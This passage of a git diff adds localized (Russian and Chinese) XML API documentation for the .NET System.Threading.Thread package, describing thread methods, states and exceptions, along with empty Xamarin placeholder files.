новый экземпляр класса , при этом указывается делегат, позволяющий объекту быть переданным в поток при запуске потока. + Делегат, указывающий на методы, которые вызываются при запуске потока. + + is null. + + + Инициализирует новый экземпляр класса . + Делегат , указывающий на методы, которые вызываются при запуске потока. + The parameter is null. + + + Возвращает выполняющийся в данный момент поток. + Объект , представляющий собой выполняющийся в данный момент поток. + 1 + + + Возвращает значение, показывающее статус выполнения текущего потока. + Значение true, если этот поток был запущен и не был завершен обычным образом либо был прерван; в противном случае — значение false. + 1 + + + Возвращает или задает значение, показывающее, является ли поток фоновым. + Значение true, если этот поток является или станет фоновым потоком; в противном случае — значение false. + The thread is dead. + 1 + + + Блокирует вызывающий поток до завершения потока, продолжая отправлять стандартные сообщения COM и SendMessage. + The caller attempted to join a thread that is in the state. + The thread is interrupted while waiting. + 1 + + + Блокирует вызывающий поток до завершения потока или истечения указанного времени, продолжая отправлять стандартные сообщения COM и SendMessage. + Значение true, если поток завершился; значение false, если поток не завершился по истечении количества времени, заданного параметром . + Количество миллисекунд ожидания завершения потока. + The value of is negative and is not equal to in milliseconds. + The thread has not been started. + 1 + + + Возвращает уникальный идентификатор текущего управляемого потока. + Целочисленное значение, представляющее уникальный идентификатор для этого управляемого потока. + 1 + + + Получает или задает имя потока. + Строка, содержащая имя потока или null, если имя не задано. + A set operation was requested, but the Name property has already been set. + 1 + + + Приостанавливает текущий поток на заданное количество миллисекунд. + Количество миллисекунд, на которое приостанавливается поток.Если значение аргумента равно нулю, поток освобождает оставшуюся часть своего интервала времени для любого потока с таким же приоритетом, готовым к выполнению.Если других готовых к выполнению потоков с таким же приоритетом нет, выполнение текущего потока не приостанавливается. + The time-out value is negative and is not equal to . + 1 + + + Приостанавливает текущий поток на заданное время. + Время, на которое приостанавливается поток.Если значение аргумента равно , поток освобождает оставшуюся часть своего интервала времени для любого потока с таким же приоритетом, готовым к выполнению.Если других готовых к выполнению потоков с таким же приоритетом нет, выполнение текущего потока не приостанавливается. + The value of is negative and is not equal to in milliseconds, or is greater than milliseconds. + 1 + + + Вынуждает операционную систему изменить состояние текущего экземпляра на . + The thread has already been started. + There is not enough memory available to start this thread. + 1 + + + Заставляет операционную систему изменить состояние текущего экземпляра на , а также (необязательно) передает объект с данными, используемыми методом в потоке. + Объект, содержащий данные, используемые методом, который выполняется потоком. + The thread has already been started. + There is not enough memory available to start this thread. + This thread was created using a delegate instead of a delegate. + 1 + + + Возвращает значение, содержащее состояния текущего потока. + Одно из значений , показывающее состояние текущего потока.Начальное значение — Unstarted. + 2 + + + Представляет метод, выполняющийся в объекте . + 1 + + + Исключение выдается, когда происходит сбой в управляемом потоке после запуска базового потока операционной системы, но до готовности потока к выполнению кода пользователя. + + + Задает состояния выполнения объекта . + 1 + + + Состояние потока включает в себя значение , и поток теперь не выполняет работу, но его состояние еще не изменилось на . + + + Метод был вызван для потока, но поток еще не получил исключение , которое попытается завершить его. + + + Поток выполняется как фоновый поток, в противоположность потокам переднего плана.Это состояние управляется заданием свойства . + + + Поток был запущен, он не заблокирован, и нет ожидающего исключения . + + + Поток был остановлен. + + + Поток получает запрос на остановку.Предназначено только для внутреннего использования. + + + Поток был приостановлен. + + + Запрашивается приостановка работы потока. + + + Метод не был вызван для потока. + + + Поток заблокирован.Это может произойти в результате вызова метода или метода , в результате запроса блокировки, например при вызове метода или или в результате ожидания объекта синхронизации потока, такого как . + + + Исключение, которое выдается, когда объект является неправильным свойством для вызова метода. + 2 + + + Инициализирует новый экземпляр класса со свойствами по умолчанию. + + + Инициализирует новый экземпляр класса с указанным сообщением об ошибке. + Сообщение об ошибке с объяснением причин исключения. + + + Инициализирует новый экземпляр класса указанным сообщением об ошибке и ссылкой на внутреннее исключение, которое стало причиной данного исключения. + Сообщение об ошибке с объяснением причин исключения. + Исключение, которое вызвало текущее исключение.Если значение параметра не равно null, текущее исключение сгенерировано в блоке catch, обрабатывающем внутреннее исключение. + + + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/zh-hans/System.Threading.Thread.xml b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/zh-hans/System.Threading.Thread.xml new file mode 100644 index 0000000..23f3491 --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/zh-hans/System.Threading.Thread.xml @@ -0,0 +1,158 @@ + + + + System.Threading.Thread + + + + 表示在 上执行的方法。 + 包含该线程过程的数据的对象。 + 1 + + + 创建和控制线程,设置其优先级并获取其状态。若要浏览此类型的 .NET Framework 源代码,请参阅引用源。 + 1 + + + 初始化 类的新实例,指定允许对象在线程启动时传递给线程的委托。 + 一个委托,它表示此线程开始执行时要调用的方法。 + + is null. + + + 初始化 类的新实例。 + 表示开始执行此线程时要调用的方法的 委托。 + The parameter is null. + + + 获取当前正在运行的线程。 + + ,表示当前正在运行的线程。 + 1 + + + 获取指示当前线程的执行状态的值。 + 如果此线程已经开始但尚未正常终止或中止,则为 true,否则为 false。 + 1 + + + 获取或设置一个值,该值指示某个线程是否为后台线程。 + 如果此线程为或将成为后台线程,则为 true;否则为 false。 + The thread is dead. + 1 + + + 阻止调用线程直到线程终止,同时继续执行标准的 COM 和 SendMessage 传送。 + The caller attempted to join a thread that is in the state. + The thread is interrupted while waiting. + 1 + + + 在继续执行标准的 COM 和 SendMessage 消息泵处理期间,阻止调用线程,直到某个线程终止或经过了指定时间为止。 + 如果线程已终止,则为 true;如果 false 参数指定的时间量已过之后还未终止线程,则为 + 等待线程终止的毫秒数。 + The value of is negative and is not equal to in milliseconds. + The thread has not been started. + 1 + + + 获取当前托管线程的唯一标识符。 + 一个整数,表示此托管线程的唯一标识符。 + 1 + + + 获取或设置线程的名称。 + 包含线程名称的字符串或 null(如果未设置名称)。 + A set operation was requested, but the Name property has already been set. + 1 + + + 将当前线程挂起指定的毫秒数。 + 挂起线程的毫秒数。如果 参数的值为零,则该线程会将其时间片的剩余部分让给任何已经准备好运行的、具有同等优先级的线程。如果没有其他已经准备好运行的、具有同等优先级的线程,则不会挂起当前线程的执行。 + The time-out value is negative and is not equal to . + 1 + + + 将当前线程挂起指定的时间。 + 挂起线程的时间量。如果 参数的值为 ,则该线程会将其时间片的剩余部分让给任何已经准备好运行的、具有同等优先级的线程。如果没有其他已经准备好运行的、具有同等优先级的线程,则不会挂起当前线程的执行。 + The value of is negative and is not equal to in milliseconds, or is greater than milliseconds. + 1 + + + 导致操作系统将当前实例的状态更改为 + The thread has already been started. + There is not enough memory available to start this thread. + 1 + + + 导致操作系统将当前实例的状态更改为 ,并选择提供包含线程执行的方法要使用的数据的对象。 + 一个对象,包含线程执行的方法要使用的数据。 + The thread has already been started. + There is not enough memory available to start this thread. + This thread was created using a delegate instead of a delegate. + 1 + + + 获取一个值,该值包含当前线程的状态。 + 其中一个表示当前线程的状态的 值。初始值为 Unstarted。 + 2 + + + 表示在 上执行的方法。 + 1 + + + 当基础操作系统线程已启动但该线程尚未准备好执行用户代码前,托管线程中出现错误,则会引发异常。 + + + 指定 的执行状态。 + 1 + + + 线程状态包括 并且该线程现在已死,但其状态尚未更改为 + + + 已对线程调用了 方法,但线程尚未收到试图终止它的挂起的 + + + 线程正作为后台线程执行(相对于前台线程而言)。此状态可以通过设置 属性来控制。 + + + 线程已启动,它未被阻塞,并且没有挂起的 + + + 线程已停止。 + + + 正在请求线程停止。这仅用于内部。 + + + 线程已挂起。 + + + 正在请求线程挂起。 + + + 尚未对线程调用 方法。 + + + 线程已被阻止。这可能是因为:调用 、请求锁定(例如通过调用 )或等待线程同步对象(例如 )。 + + + 处于对方法调用无效的 时引发的异常。 + 2 + + + 使用默认属性初始化 类的新实例。 + + + 使用指定的错误消息初始化 类的新实例。 + 解释异常原因的错误信息。 + + + 使用指定错误信息和对作为此异常原因的内部异常的引用来初始化 类的新实例。 + 解释异常原因的错误信息。 + 导致当前异常的异常。如果 参数不为 null,则当前异常将在处理内部异常的 catch 块中引发。 + + + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/zh-hant/System.Threading.Thread.xml b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/zh-hant/System.Threading.Thread.xml new file mode 100644 index 0000000..fc99d05 --- /dev/null +++ b/packages/System.Threading.Thread.4.3.0/ref/netstandard1.3/zh-hant/System.Threading.Thread.xml @@ -0,0 +1,161 @@ + + + + System.Threading.Thread + + + + 表示在 上執行的方法。 + 物件,包含執行緒程序的資料。 + 1 + + + 可建立和控制執行緒,設定執行緒的優先權,並取得它的狀態。若要瀏覽此類型的 .NET Framework 原始程式碼,請參閱參考來源。 + 1 + + + 初始化 類別的新執行個體,並指定委派,讓物件可以在執行緒啟動時傳遞到執行緒。 + 委派,代表在這個執行緒開始執行時要叫用的方法。 + + is null. + + + 初始化 類別的新執行個體。 + + 委派,代表在這個執行緒開始執行時要叫用的方法。 + The parameter is null. + + + 取得目前執行的執行緒。 + + ,是目前執行之執行緒的表示。 + 1 + + + 取得值,指出目前執行緒的執行狀態。 + 如果這個執行緒已經啟動但還沒有正常終止或者中止,則為 true,否則為 false。 + 1 + + + 取得或設定值,指出執行緒是不是背景執行緒。 + 如果這個執行緒是背景執行緒或者會成為背景執行緒,則為 true,否則為 false。 + The thread is dead. + 1 + + + 封鎖呼叫執行緒直到執行緒終止為止,但仍繼續執行標準的 COM 與 SendMessage 幫浦作業。 + The caller attempted to join a thread that is in the state. + The thread is interrupted while waiting. + 1 + + + 封鎖呼叫執行緒直到執行緒終止或已超過指定的時間為止,但仍繼續執行標準的 COM 與 SendMessage 幫浦作業。 + 如果執行緒已經終止,為 true;如果 false 參數指定的時間量已經過去,而執行緒還沒有終止,則為 + 等候執行緒終止的毫秒數。 + The value of is negative and is not equal to in milliseconds. + The thread has not been started. + 1 + + + 取得目前 Managed 執行緒的唯一識別項。 + 整數,表示這個 Managed 執行緒的唯一識別項。 + 1 + + + 取得或設定執行緒的名稱。 + 含有執行緒名稱的字串;如果沒有設定名稱,則為 null。 + A set operation was requested, but the Name property has already been set. + 1 + + + 在指定的毫秒數內暫止目前的執行緒。 + 暫止執行緒的毫秒數。如果 引數的值為零,則執行緒會將其剩餘的時間配量讓與準備好要執行的任何同等優先權執行緒。如果沒有其他準備好要執行的同等優先權執行緒,則目前執行緒的執行不會暫停。 + The time-out value is negative and is not equal to . + 1 + + + 在指定長度的時間內暫止目前的執行緒。 + 暫止執行緒的時間長度。如果 引數的值為 ,則執行緒會將其剩餘的時間配量讓與準備好要執行的任何同等優先權執行緒。如果沒有其他準備好要執行的同等優先權執行緒,則目前執行緒的執行不會暫停。 + The value of is negative and is not equal to in milliseconds, or is greater than milliseconds. + 1 + + + 造成作業系統將目前執行個體的狀態變更為 + The thread has already been started. + There is not enough memory available to start this thread. + 1 + + + 使作業系統將目前執行個體的狀態改成 ,並選擇性地提供物件,在物件中包含執行緒執行之方法所要使用的資料。 + 物件,包含執行緒執行之方法所要使用的資料。 + The thread has already been started. + There is not enough memory available to start this thread. + This thread was created using a delegate instead of a delegate. + 1 + + + 取得數值,包含目前執行緒的狀態。 + 其中一個 數值,指出目前執行緒的狀態。初始值為 Unstarted。 + 2 + + + 表示在 上執行的方法。 + 1 + + + 當基礎作業系統執行緒已經啟動,但此執行緒還沒準備好執行使用者程式碼之前,如果 Managed 執行緒內有任何錯誤發生,就會擲回這個例外狀況。 + + + 指定 的執行狀態。 + 1 + + + 執行緒狀態包括 ,且執行緒目前無作用,但其狀態尚未變更為 + + + + 方法已在執行緒上被叫用 (Invoke),但執行緒還沒有收到會嘗試終結它的暫止 + + + 執行緒正做為背景執行緒執行當中 (相對於前景執行緒)。這個狀態以設定 屬性來控制。 + + + 執行緒已經啟動,並未受封鎖,也沒有暫止的 + + + 執行緒已經停止。 + + + 執行緒正被要求停止中。僅供內部使用。 + + + 執行緒已經暫止。 + + + 執行緒正被要求暫止中。 + + + + 方法還沒有在執行緒上被叫用。 + + + 執行緒已封鎖。這可能是呼叫 、要求鎖定 (例如藉由呼叫 ),或是在執行緒同步處理物件 (例如 ) 上等候的結果。 + + + 對於方法的呼叫來說處於無效 時所擲回的例外狀況。 + 2 + + + 使用預設屬性來初始化 類別的新執行個體。 + + + 使用指定的錯誤訊息,初始化 類別的新執行個體。 + 解釋例外狀況原因的錯誤訊息。 + + + 使用指定的錯誤訊息和造成這個例外狀況原因的內部例外參考,初始化 類別的新執行個體。 + 解釋例外狀況原因的錯誤訊息。 + 導致目前例外狀況的例外。如果 參數不是 null,則目前的例外狀況會在處理內部例外的 catch 區塊中引發。 + + + \ No newline at end of file diff --git a/packages/System.Threading.Thread.4.3.0/ref/xamarinios10/_._ b/packages/System.Threading.Thread.4.3.0/ref/xamarinios10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/ref/xamarinmac20/_._ b/packages/System.Threading.Thread.4.3.0/ref/xamarinmac20/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/ref/xamarintvos10/_._ b/packages/System.Threading.Thread.4.3.0/ref/xamarintvos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.Threading.Thread.4.3.0/ref/xamarinwatchos10/_._ b/packages/System.Threading.Thread.4.3.0/ref/xamarinwatchos10/_._ new file mode 100644 index 0000000..e69de29